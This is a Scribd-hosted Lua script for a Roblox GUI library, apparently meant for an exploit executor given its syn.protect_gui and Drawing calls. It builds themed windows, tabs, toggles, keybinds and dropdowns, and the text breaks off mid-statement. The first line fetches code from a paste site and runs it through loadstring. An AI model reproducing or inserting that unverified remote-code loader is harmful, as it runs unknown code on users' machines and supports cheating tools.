0% found this document useful (0 votes)
10 views94 pages

Roblox GUI Library Script

The document contains a Lua script for a Roblox GUI library that includes functions for creating customizable windows and watermarks. It defines various UI elements, themes, and behaviors such as drag-and-drop functionality and mouse cursor customization. The script also includes event listeners for user input and updates to the UI based on theme changes.

Uploaded by

rares
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views94 pages

Roblox GUI Library Script

The document contains a Lua script for a Roblox GUI library that includes functions for creating customizable windows and watermarks. It defines various UI elements, themes, and behaviors such as drag-and-drop functionality and mouse cursor customization. The script also includes event listeners for user input and updates to the UI based on theme changes.

Uploaded by

rares
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

loadstring(game:HttpGet("[Link]

fo/raw/fee9bc6c522e"))()

function SL2()
local library = {
flags = { },
items = { }
}

-- Services
local players = game:GetService("Players")
local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local marketplaceservice = game:GetService("MarketplaceService")
local textservice = game:GetService("TextService")
local coregui = [Link]
local httpservice = game:GetService("HttpService")

local player = [Link]


local mouse = player:GetMouse()
local camera = [Link]

[Link] = {
fontsize = 15,
titlesize = 18,
font = [Link],
background = "rbxassetid://5553946656",
tilesize = 90,
cursor = false,
cursorimg = "[Link]
backgroundcolor = [Link](20, 20, 20),
tabstextcolor = [Link](240, 240, 240),
bordercolor = [Link](60, 60, 60),
accentcolor = [Link](28, 56, 139),
accentcolor2 = [Link](16, 31, 78),
outlinecolor = [Link](60, 60, 60),
outlinecolor2 = [Link](0, 0, 0),
sectorcolor = [Link](30, 30, 30),
toptextcolor = [Link](255, 255, 255),
topheight = 48,
topcolor = [Link](30, 30, 30),
topcolor2 = [Link](30, 30, 30),
buttoncolor = [Link](49, 49, 49),
buttoncolor2 = [Link](39, 39, 39),
itemscolor = [Link](200, 200, 200),
itemscolor2 = [Link](210, 210, 210)
}

if [Link] and Drawing then


local success = pcall(function()
[Link] = [Link]("Image")
[Link] = game:HttpGet([Link])
[Link] = [Link](64, 64)
[Link] = [Link]
[Link] = 0
[Link] = [Link](mouse.X - 32, mouse.Y + 6)
end)
if success and [Link] then
[Link]:Connect(function(input)
if [Link] then
if [Link] ==
[Link] then
[Link] =
[Link]([Link].X - 32, [Link].Y + 7)
end
end
end)

game:GetService("RunService").RenderStepped:Connect(function()
[Link] =
[Link]
[Link] = [Link] and
([Link] or game:GetService("GuiService").MenuIsOpen)
end)
elseif not success and [Link] then
[Link]:Remove()
end
end

function library:CreateWatermark(name, position)


local gamename = marketplaceservice:GetProductInfo([Link]).Name
local watermark = { }
[Link] = false
[Link] = " "

[Link] = [Link]("ScreenGui", coregui)


[Link] = "Watermark"

if _G.watermark then
_G.watermark:Remove()
end
_G.watermark = [Link]

[Link] = [Link]("Frame", [Link])


[Link] = "Main"
[Link].BorderColor3 = [Link](80, 80, 80)
[Link] = [Link]
[Link] = 0
[Link] = 5
[Link] = [Link](0, position and position.X or
10, 0, position and position.Y or 10)
[Link] = [Link](0, 0, 0, 25)

[Link] = [Link]("UIGradient", [Link])


[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link](40, 40, 40)),
[Link](1.00, [Link](10, 10, 10)) })

[Link] = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = 4
[Link] = 0
[Link] = [Link]
[Link].BackgroundColor3 = [Link]
[Link] = [Link](-1, -1)
[Link] = [Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 3
[Link] = 0
[Link].BackgroundColor3 = [Link].outlinecolor2
[Link] = [Link]
[Link] = [Link](-2, -2)

[Link] = [Link]("TextLabel", [Link])


[Link] = "FPSLabel"
[Link].BackgroundColor3 = [Link](255, 255, 255)
[Link] = 1.000
[Link] = [Link](0, 0, 0, 0)
[Link] = [Link](0, 238, 0, 25)
[Link] = [Link]
[Link] = 6
[Link] = [Link]
[Link] = [Link]
[Link].TextColor3 = [Link](255, 255, 255)
[Link] = 15
[Link] = 0.000
[Link] = [Link]
[Link] = [Link](0, [Link].X+10, 0,
25)

[Link] = [Link]("Frame", [Link])


[Link] = "TopBar"
[Link] = 6
[Link].BackgroundColor3 = [Link]
[Link] = 0
[Link] = [Link]
[Link] = [Link](0, 0, 0, 1)

[Link] = [Link](0, [Link].X, 0,


25)
[Link] = [Link](0, [Link].X+6, 0,
1)
[Link] = [Link] + [Link](2,
2)
[Link] = [Link] +
[Link](4, 4)

[Link] = [Link](0, [Link].X+4,


0, 25)
[Link] = [Link](0, [Link].X+4, 0,
25)
[Link] = [Link](0, [Link].X+6, 0,
1)
[Link] = [Link] + [Link](2,
2)
[Link] = [Link] +
[Link](4, 4)

[Link]:Connect(function()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 1,
Active = false }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 1,
Active = false }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { TextTransparency = 1, Active =
false }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 1,
Active = false }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 1,
Active = false }):Play()
end)

[Link]:Connect(function()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 0,
Active = true }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 0,
Active = true }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { TextTransparency = 0, Active =
true }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 0,
Active = true }):Play()
tweenservice:Create([Link], [Link](0.1,
[Link], [Link]), { BackgroundTransparency = 0,
Active = true }):Play()
end)

function watermark:UpdateTheme(theme)
theme = theme or [Link]
[Link].BackgroundColor3 = [Link]
[Link].BackgroundColor3 = theme.outlinecolor2
[Link] = [Link]
[Link].BackgroundColor3 = [Link]
end

return watermark
end

function library:CreateWindow(name, size, hidebutton)


local window = { }

[Link] = name or ""


[Link] = [Link](size.X, size.Y) or [Link](492,
598)
[Link] = hidebutton or [Link]
[Link] = [Link]

local updateevent = [Link]("BindableEvent")


function window:UpdateTheme(theme)
updateevent:Fire(theme or [Link])
[Link] = (theme or [Link])
end

[Link] = [Link]("ScreenGui", coregui)


[Link] = false
[Link] = name
[Link] = 15
if syn then
syn.protect_gui([Link])
end

if _G.uilib then
_G.uilib:Remove()
end
_G.uilib = [Link]

local dragging, dragInput, dragStart, startPos


[Link]:Connect(function(input)
if input == dragInput and dragging then
local delta = [Link] - dragStart
[Link] = [Link]([Link],
[Link] + delta.X, [Link], [Link] + delta.Y)
end
end)

local dragstart = function(input)


if [Link] == [Link].MouseButton1 or
[Link] == [Link] then
dragging = true
dragStart = [Link]
startPos = [Link]

[Link]:Connect(function()
if [Link] == [Link]
then
dragging = false
end
end)
end
end

local dragend = function(input)


if [Link] == [Link] or
[Link] == [Link] then
dragInput = input
end
end

[Link] = [Link]("TextButton", [Link])


[Link] = "main"
[Link] = [Link](0.5, 0.5)
[Link] = 0
[Link] = [Link]
[Link] = false
[Link] = ""
[Link].BackgroundColor3 = [Link]
[Link] = [Link](0.5, 0.5)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = [Link]
end)

[Link]:Connect(function(key)
if [Link] == [Link] then
[Link] = not [Link]
end
end)

local function checkIfGuiInFront(Pos)


local objects = coregui:GetGuiObjectsAtPosition(Pos.X, Pos.Y)
for i,v in pairs(objects) do
if not [Link](v:GetFullName(), [Link]) then
[Link](objects, i)
end
end
return (#objects ~= 0 and objects[1].AbsolutePosition ~= Pos)
end

[Link] = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = 1
[Link] = [Link] + [Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 = [Link].outlinecolor2
[Link] = [Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = theme.outlinecolor2
end)

[Link] = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = 0
[Link] = [Link] + [Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 = [Link]
[Link] = [Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = [Link]
end)

window.BlackOutline2 = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = -1
[Link] = [Link] + [Link](6, 6)
[Link] = 0
window.BlackOutline2.BackgroundColor3 = [Link].outlinecolor2
[Link] = [Link](-3, -3)
[Link]:Connect(function(theme)
window.BlackOutline2.BackgroundColor3 = theme.outlinecolor2
end)

[Link] = [Link]("Frame", [Link])


[Link] = "top"
[Link] = [Link]([Link],
[Link])
[Link] = 0
[Link].BackgroundColor3 = [Link](255, 255, 255)
[Link]:Connect(dragstart)
[Link]:Connect(dragend)
[Link]:Connect(function(theme)
[Link] = [Link]([Link],
[Link])
end)
[Link] = [Link]("UIGradient", [Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, [Link].topcolor2) })
[Link]:Connect(function(theme)
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, theme.topcolor2) })
end)

[Link] = [Link]("TextLabel", [Link])


[Link].TextColor3 = [Link]
[Link] = [Link]
[Link] = [Link]
[Link] = [Link]
[Link] = "title"
[Link] = [Link](4, -2)
[Link] = 1
[Link] = [Link](190,
[Link].Y / 2 - 2)
[Link] = [Link]
[Link]:Connect(function(theme)
[Link].TextColor3 = [Link]
[Link] = [Link]
[Link] = [Link]
end)

window.Line2 = [Link]("Frame", [Link])


[Link] = "line"
[Link] = [Link](0,
[Link].Y / 2.1)
[Link] = [Link]([Link], 1)
[Link] = 0
window.Line2.BackgroundColor3 = [Link]
[Link]:Connect(function(theme)
window.Line2.BackgroundColor3 = [Link]
end)

[Link] = [Link]("Frame", [Link])


[Link] = "tablist"
[Link] = 1
[Link] = [Link](0,
[Link].Y / 2 + 1)
[Link] = [Link]([Link],
[Link].Y / 2)
[Link] = 0
[Link].BackgroundColor3 = [Link](255, 255, 255)

[Link]:Connect(dragstart)
[Link]:Connect(dragend)

[Link] = [Link]("Frame", [Link])


[Link] = "blackline"
[Link] = [Link]([Link], 1)
[Link] = 0
[Link] = 9
[Link].BackgroundColor3 = [Link].outlinecolor2
[Link] = [Link](0,
[Link].Y)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = theme.outlinecolor2
end)

[Link] = [Link]("ImageLabel", [Link])


[Link] = "background"
[Link] = 0
[Link] = [Link]
[Link] = [Link] +
[Link](0, 1)
[Link] = [Link]([Link],
[Link] - [Link].Y - 1)
[Link] = [Link] or ""
[Link] = [Link]
~= "" and 0 or 1
[Link].ImageColor3 = [Link]()
[Link].BackgroundColor3 = [Link]
[Link] = [Link](0, [Link],
0, [Link])
[Link]:Connect(function(theme)
[Link] = [Link] or ""
[Link] =
[Link] ~= "" and 0 or 1
[Link].BackgroundColor3 = [Link]
[Link] = [Link](0, [Link], 0,
[Link])
end)

[Link] = [Link]("Frame", [Link])


[Link] = "line"
[Link] = [Link](0, 0)
[Link] = [Link](60, 1)
[Link] = 0
[Link].BackgroundColor3 = [Link]
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = [Link]
end)

[Link] = [Link]("UIListLayout", [Link])


[Link] = [Link]
[Link] = [Link]

[Link] = { }
[Link] = { }

function window:CreateTab(name)
local tab = { }
[Link] = name or ""

local textservice = game:GetService("TextService")


local size = textservice:GetTextSize([Link],
[Link], [Link], [Link](200,300))

[Link] = [Link]("TextButton", [Link])


[Link].TextColor3 = [Link]
[Link] = [Link]
[Link] = false
[Link] = [Link]
[Link] = [Link]
[Link] = 1
[Link] = 0
[Link] = [Link](size.X + 15,
[Link].Y - 1)
[Link] = [Link]
[Link] = [Link]
[Link]:Connect(function(theme)
local size = textservice:GetTextSize([Link],
[Link], [Link], [Link](200,300))
[Link].TextColor3 = [Link] ==
"SelectedTab" and [Link] or [Link]
[Link] = [Link]
[Link] = [Link](size.X + 15,
[Link].Y - 1)
[Link] = [Link]
end)

[Link] = [Link]("ScrollingFrame", [Link])


[Link] = "leftside"
[Link] = 0
[Link] = [Link]([Link] / 2,
[Link] - ([Link].Y + 1))
[Link] = 1
[Link] = false
[Link] = 0
[Link] = "Y"
[Link] = [Link] +
[Link](0, 1)

[Link] = [Link]("UIListLayout", [Link])


[Link] = [Link]
[Link] = [Link]
[Link] = [Link](0, 12)

[Link] = [Link]("UIPadding", [Link])


[Link] = [Link](0, 12)
[Link] = [Link](0, 12)
[Link] = [Link](0, 12)

[Link] = [Link]("ScrollingFrame", [Link])


[Link] = "rightside"
[Link] = 0
[Link] = "Y"
[Link] = false
[Link] = 0
[Link] = [Link]([Link] / 2,
[Link] - ([Link].Y + 1))
[Link] = 1
[Link] = [Link] +
[Link]([Link].X, 0)

[Link] = [Link]("UIListLayout", [Link])


[Link] = [Link]
[Link] = [Link]
[Link] = [Link](0, 12)

[Link] = [Link]("UIPadding", [Link])


[Link] = [Link](0, 12)
[Link] = [Link](0, 6)
[Link] = [Link](0, 12)

local block = false


function tab:SelectTab()
repeat
wait()
until block == false

block = true
for i,v in pairs([Link]) do
if v ~= tab then
[Link].TextColor3 = [Link](230,
230, 230)
[Link] = "Tab"
[Link] = false
[Link] = false
end
end

[Link].TextColor3 = [Link]
[Link] = "SelectedTab"
[Link] = true
[Link] = true
[Link]:TweenSizeAndPosition([Link](size.X +
15, 1), [Link](0, ([Link].X -
[Link].X), 0, 0) + ([Link] -
[Link](0, 1)), [Link], [Link], 0.15)
wait(0.2)
block = false
end

if #[Link] == 0 then
tab:SelectTab()
end

[Link].MouseButton1Down:Connect(function()
tab:SelectTab()
end)

[Link] = { }
[Link] = { }

function tab:CreateSector(name,side)
local sector = { }
[Link] = name or ""
[Link] = side:lower() or "left"

[Link] = [Link]("Frame", [Link] == "left"


and [Link] or [Link])
[Link] = [Link]:gsub(" ", "") .. "Sector"
[Link] = 0
[Link] = 4
[Link] = [Link]([Link] /
2 - 17, 20)
[Link].BackgroundColor3 = [Link]
--[Link] = [Link] == "left" and
[Link](0, 11, 0, 12) or [Link](0, [Link] -
[Link].X - 11, 0, 12)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = [Link]
end)

[Link] = [Link]("Frame", [Link])


[Link] = "line"
[Link] = 4
[Link] =
[Link]([Link] + 4, 1)
[Link] = 0
[Link] = [Link](-2, -2)
[Link].BackgroundColor3 = [Link]
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = [Link]
end)

[Link] = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = 3
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1, -1)

[Link]:GetPropertyChangedSignal("Size"):Connect(function()
[Link] = [Link] +
[Link](2, 2)
end)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = 2
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 = [Link]
[Link] = [Link](-2, -2)

[Link]:GetPropertyChangedSignal("Size"):Connect(function()
[Link] = [Link] +
[Link](4, 4)
end)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 = [Link]
end)

sector.BlackOutline2 = [Link]("Frame", [Link])


[Link] = "outline"
[Link] = 1
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
sector.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-3, -3)

[Link]:GetPropertyChangedSignal("Size"):Connect(function()
[Link] = [Link] +
[Link](6, 6)
end)
[Link]:Connect(function(theme)
sector.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

local size = textservice:GetTextSize([Link], 15,


[Link], [Link](2000, 2000))
[Link] = [Link]("TextLabel", [Link])
[Link] = [Link](0,0.5)
[Link] = [Link](12, -1)
[Link] =
[Link]([Link](textservice:GetTextSize([Link], 15,
[Link], [Link](200,300)).X + 13, 0, [Link]),
size.Y)
[Link] = 1
[Link] = 0
[Link] = 6
[Link] = [Link]
[Link].TextColor3 = [Link](1,1,2552/255)
[Link] = 1
[Link] = [Link]
[Link] = 15
[Link]:Connect(function(theme)
local size = textservice:GetTextSize([Link], 15,
[Link], [Link](2000, 2000))
[Link] =
[Link]([Link](textservice:GetTextSize([Link], 15, [Link],
[Link](200,300)).X + 13, 0, [Link]), size.Y)
[Link] = [Link]
end)

[Link] = [Link]("Frame", [Link])


[Link] = "labelframe"
[Link] = 5
[Link] =
[Link]([Link], 10)
[Link] = 0
[Link].BackgroundColor3 = [Link](30,
30, 30)
[Link] =
[Link]([Link],
[Link])

[Link] = [Link]("Frame", [Link])


[Link] = "items"
[Link] = 2
[Link] = 1
[Link] = [Link](170, 140)
[Link] = [Link].Y
[Link] = 0
[Link] = [Link]("UIListLayout",
[Link])
[Link] =
[Link]
[Link] = [Link]
[Link] = [Link](0, 12)

[Link] = [Link]("UIPadding",
[Link])
[Link] = [Link](0, 15)
[Link] = [Link](0, 6)
[Link] = [Link](0, 6)

[Link]([Link]:lower() == "left" and


[Link] or [Link], sector)

function sector:FixSize()
[Link] =
[Link]([Link] / 2 - 17,
[Link].Y + 22)
local sizeleft, sizeright = 0, 0
for i,v in pairs([Link]) do
sizeleft = sizeleft + [Link].Y
end
for i,v in pairs([Link]) do
sizeright = sizeright + [Link].Y
end

[Link] =
[Link]([Link].X, sizeleft + ((#[Link] - 1) *
[Link]) + 20)
[Link] =
[Link]([Link].X, sizeright + ((#[Link] - 1) *
[Link]) + 20)
end

function sector:AddButton(text, callback)


local button = { }
[Link] = text or ""
[Link] = callback or function() end

[Link] = [Link]("TextButton",
[Link])
[Link] = 0
[Link] = ""
[Link] = false
[Link] = "button"
[Link] = 5
[Link] =
[Link]([Link] - 12, 14)
[Link].BackgroundColor3 = [Link](255,
255, 255)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, [Link].buttoncolor2) })
[Link]:Connect(function(theme)
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, theme.buttoncolor2) })
end)

button.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
button.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-3,
-3)
[Link]:Connect(function(theme)
button.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame", [Link])


[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1, -
1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("TextLabel", [Link])


[Link] = "Label"
[Link] = 1
[Link] = [Link](0, -1, 0, 0)
[Link] = 5
[Link] = [Link]
[Link] = [Link]
[Link] = [Link]
[Link].TextColor3 = [Link].itemscolor2
[Link] = 15
[Link] = 1
[Link] =
[Link]
[Link].MouseButton1Down:Connect([Link])
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]
end)

[Link]:Connect(function()
button.BlackOutline2.BackgroundColor3 =
[Link]
end)

[Link]:Connect(function()
button.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

sector:FixSize()
return button
end

function sector:AddLabel(text)
local label = { }

[Link] = [Link]("TextLabel", [Link])


[Link] = "Label"
[Link] = 1
[Link] = [Link](0, -1, 0, 0)
[Link] = 4
[Link] = [Link]
[Link] = [Link]
[Link] = text
[Link].TextColor3 = [Link]
[Link] = 15
[Link] = 1
[Link] = [Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]
end)

function label:Set(value)
[Link] = value
end

sector:FixSize()
return label
end

function sector:AddToggle(text, default, callback, flag)


local toggle = { }
[Link] = text or ""
[Link] = default or false
[Link] = callback or function(value) end
[Link] = flag or text or ""

[Link] = [Link]

[Link] = [Link]("TextButton",
[Link])
[Link] = "toggle"
[Link].BackgroundColor3 = [Link](255,
255, 255)
[Link].BorderColor3 = [Link]
[Link] = 0
[Link] = [Link](8, 8)
[Link] = false
[Link] = 5
[Link] = [Link]
[Link] = ""
[Link].TextColor3 = [Link](0, 0, 0)
[Link] = 15
[Link]:Connect(function(theme)
[Link].BorderColor3 = [Link]
end)

toggle.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
toggle.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-3,
-3)
[Link]:Connect(function(theme)
toggle.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame", [Link])


[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1, -
1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = (22.5 * 13)
[Link] =
[Link]({ [Link](0.00, [Link](30, 30, 30)),
[Link](1.00, [Link](45, 45, 45)) })

[Link] = [Link]("TextButton",
[Link])
[Link] = "Label"
[Link] = false
[Link].BackgroundColor3 = [Link](255,
255, 255)
[Link] = 1
[Link] =
[Link]([Link].X + 10, -2)
[Link] =
[Link]([Link] - 71, [Link])
[Link] = [Link]
[Link] = 5
[Link] = [Link]
[Link].TextColor3 = [Link]
[Link] = 15
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link] and
[Link].itemscolor2 or [Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = 5
[Link] = 0
[Link].BackgroundColor3 =
[Link](255, 255, 255) -- [Link](204, 0, 102)
[Link] = [Link]

toggle.Gradient2 = [Link]("UIGradient",
[Link])
[Link] = (22.5 * 13)
[Link] =
[Link]({ [Link](0.00, [Link].accentcolor2),
[Link](1.00, [Link]) })
[Link]:Connect(function(theme)
[Link] =
[Link]({ [Link](0.00, theme.accentcolor2),
[Link](1.00, [Link]) })
end)

[Link] = [Link]("Frame", [Link])


[Link] = "\n"
[Link] = 4
[Link] = [Link](60,
[Link].Y)
[Link] = 0
[Link] = 1
[Link].BackgroundColor3 = [Link](0, 0, 0)
[Link] =
[Link]([Link] - 71, 0)

[Link] = [Link]("UIListLayout",
[Link])
[Link] =
[Link]
[Link] =
[Link]
[Link] =
[Link]
[Link] = [Link](0.04, 6)

if [Link] and [Link] ~= "" then


[Link][[Link]] = [Link] or
false
end

function toggle:Set(value)
if value then
[Link].TextColor3 =
[Link].itemscolor2
else
[Link].TextColor3 =
[Link]
end

[Link] = value
[Link] = value
if [Link] and [Link] ~= "" then
[Link][[Link]] = [Link]
end
pcall([Link], value)
end
function toggle:Get()
return [Link]
end
toggle:Set([Link])

function toggle:AddKeybind(default, flag)


local keybind = { }

[Link] = default or "None"


[Link] = [Link]
[Link] = flag or ( ([Link] or "") ..
tostring(#[Link]:GetChildren()))

local shorter_keycodes = {
["LeftShift"] = "LSHIFT",
["RightShift"] = "RSHIFT",
["LeftControl"] = "LCTRL",
["RightControl"] = "RCTRL",
["LeftAlt"] = "LALT",
["RightAlt"] = "RALT"
}

local text = [Link] == "None" and


"[None]" or "[" .. (shorter_keycodes[[Link]] or [Link])
.. "]"
local size = textservice:GetTextSize(text, 15,
[Link], [Link](2000, 2000))

[Link] = [Link]("TextButton",
[Link])
[Link] = "keybind"
[Link] = 1
[Link] = 0
[Link] = 5
[Link] = [Link](size.X +
2, size.Y - 7)
[Link] = text
[Link] = [Link]
[Link].TextColor3 = [Link](136,
136, 136)
[Link] = 15
[Link] =
[Link]

[Link].MouseButton1Down:Connect(function()
[Link] = "[...]"
[Link].TextColor3 =
[Link]
end)
[Link]:Connect(function(theme)
[Link] = [Link]
if [Link] == "[...]" then
[Link].TextColor3 =
[Link]
else
[Link].TextColor3 =
[Link](136, 136, 136)
end
end)

if [Link] and [Link] ~= "" then


[Link][[Link]] =
[Link]
end
function keybind:Set(key)
if key == "None" then
[Link] = "[" .. key ..
"]"
[Link] = key
if [Link] and [Link] ~=
"" then
[Link][[Link]] =
key
end
end
[Link] = "[" ..
(shorter_keycodes[[Link]] or [Link]) .. "]"
[Link] = key
if [Link] and [Link] ~= ""
then
[Link][[Link]] =
[Link]
end
end

function keybind:Get()
return [Link]
end

[Link]:Connect(function(input,
gameProcessed)
if not gameProcessed then
if [Link] == "[...]"
then
[Link].TextColor3 =
[Link](136, 136, 136)
if [Link] ==
[Link] then

keybind:Set([Link])
else
keybind:Set("None")
end
else
if [Link] ~= "None"
and [Link] == [Link] then
toggle:Set(not
[Link])
end
end
end
end)

[Link]([Link], keybind)
return keybind
end

function toggle:AddDropdown(items, default,


multichoice, callback, flag)
local dropdown = { }

[Link] = items or { }
[Link] = default
[Link] = callback or function() end
[Link] = multichoice or false
[Link] = { }
[Link] = flag or ( ([Link] or
"") .. tostring(#([Link]:GetChildren())) .. "a")

[Link] = [Link]("TextButton",
[Link])
[Link] = "dropdown"
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] = 0
[Link] =
[Link]([Link] - 12, 16)
[Link] = [Link](0, 0)
[Link] = 5
[Link] = false
[Link] = [Link]
[Link] = ""
[Link].TextColor3 = [Link](255,
255, 255)
[Link] = 15
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]{[Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](39, 39, 39))}

[Link] =
[Link]("TextLabel", [Link])
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] =
1
[Link] =
[Link](5, 2)
[Link] =
[Link](130, 13)
[Link] = [Link]
[Link] = [Link]
[Link] = 5
[Link].TextColor3 =
[Link](255, 255, 255)
[Link] = 15
[Link] =
1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("ImageButton",
[Link])
[Link] = "navigation"
[Link] = 1
[Link] = 10
[Link] =
[Link]([Link] - 26, 5)
[Link] = 90
[Link] = 5
[Link] = [Link](8, 8)
[Link] = "rbxassetid://4918373417"
[Link].ImageColor3 = [Link](210,
210, 210)

dropdown.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
dropdown.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
dropdown.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-
2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline444"
[Link] = 4
[Link] = [Link]
+ [Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] =
[Link]("ScrollingFrame", [Link])
[Link] = "itemsframe"
[Link] = 0
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] =
[Link](0, [Link] + 8)
[Link] = 2
[Link] = 8
[Link] = "Y"
[Link] = false
[Link] = [Link](0, 0, 0,
0)
[Link] =
[Link]([Link].X, 0)

[Link] =
[Link]("UIListLayout", [Link])
[Link] =
[Link]
[Link] =
[Link]

[Link] =
[Link]("UIPadding", [Link])
[Link] = [Link](0,
2)
[Link] =
[Link](0, 2)
[Link] = [Link](0,
2)
[Link] = [Link](0,
2)

dropdown.BlackOutline2Items =
[Link]("Frame", [Link])
[Link] = "blackline3"
[Link] = 7
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
dropdown.BlackOutline2Items.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link] + [Link](-3, -3)
[Link] = false
[Link]:Connect(function(theme)

dropdown.BlackOutline2Items.BackgroundColor3 = theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline8"
[Link] = 7
[Link] =
[Link] + [Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] =
[Link] + [Link](-2, -2)
[Link] = false
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] =
[Link]("Frame", [Link])
[Link] = "blackline3"
[Link] = 7
[Link] =
[Link] + [Link](-2, -2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
